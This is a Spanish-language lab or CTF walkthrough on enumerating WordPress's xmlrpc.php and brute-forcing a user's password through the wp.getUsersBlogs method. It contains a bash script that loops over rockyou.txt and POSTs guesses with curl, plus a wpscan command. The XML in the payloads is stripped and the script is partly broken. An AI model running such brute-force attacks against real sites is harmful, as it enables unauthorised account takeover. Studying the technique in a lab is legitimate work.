====== ENUMERAR XMLRPC + ATAQUES FUERZA BRUTA WORDPRESS ======
También es posible que podamos enumerar este archivo el cual nos sirve para obtener credenciales de usuarios, ya que se trata de un archivo que permite la comunicación de wordpress y otros sistemas usando php; y si lo buscamos en el navegador vemos que existe pero que sólo tramita peticiones por POST:
{{pasted_image_20230421133400.png|}}
Por tanto con curl vamos a enviarle una petición por POST y vemos que sí nos devuelve algo en XML:
{{pasted_image_20230421133532.png|}}
Y ahora que vemos que existe este fichero, buscamos en google como explotar vulnerabilidades haciendo uso de este fichero:
{{pasted_image_20230421133725.png|}}
Y nos dicen que tenemos que tramitar esto:
{{pasted_image_20230421133752.png|}}
POST /xmlrpc.php HTTP/1.1
Host: example.com
Content-Length: 135
system.listMethods
Por tanto pegamos este código en un fichero xml:
{{pasted_image_20230421133907.png|}}
Y ahora este fichero lo tramitamos por POST contra el xmlrpc de wordpress:
{{pasted_image_20230421134022.png|}}
Y el servidor nos responde con todos los métodos disponibles:
{{pasted_image_20230421134102.png|}}
Y si miramos más en la página, vemos que nos muestran como hacer un ataque de fuerza bruta:
{{pasted_image_20230421134340.png|}}
wp.getUsersBlogs
\{\{your username\}\}
\{\{your password\}\}
Y vemos que aquí si ponemos unas credenciales correctas y lo ejecutamos como antes, nos va a funcionar correctamente:
{{pasted_image_20230421134520.png|}}
{{pasted_image_20230421134540.png|}}
En este punto podríamos hacer un ataque de fuerza bruta, tanto con un script de bash o con la propia herramienta wpscan:
#!/bin/bash
#!/bin/bash
function salir() {
exit 1
}
trap salir SIGINT
for i in $(cat rockyou.txt); do
variable=$(cat <
wp.getUsersBlogs
Elliot
$i
FIN
)
echo -e "$variable" >> enviar.xml
echo -e "[+] Probamos con la contraseña $i"
curl -s -X POST 'http://10.10.126.89/xmlrpc.php' -d@enviar.xml >> log.log
if [ ! "$(cat log.log | grep 'Incorrect username or password.')" ]; then
echo -e "[+] La contraseña para Elliot es $i"
exit 0
fi
sleep 1
rm log.log enviar.xml
done
{{pasted_image_20230421143424.png|}}
O también directamente desde la herramienta, lo cual será más rápido:
wpscan --url -U -P
{{pasted_image_20230421143525.png|}}
Y nos la encuentra:
{{pasted_image_20230421143548.png|}}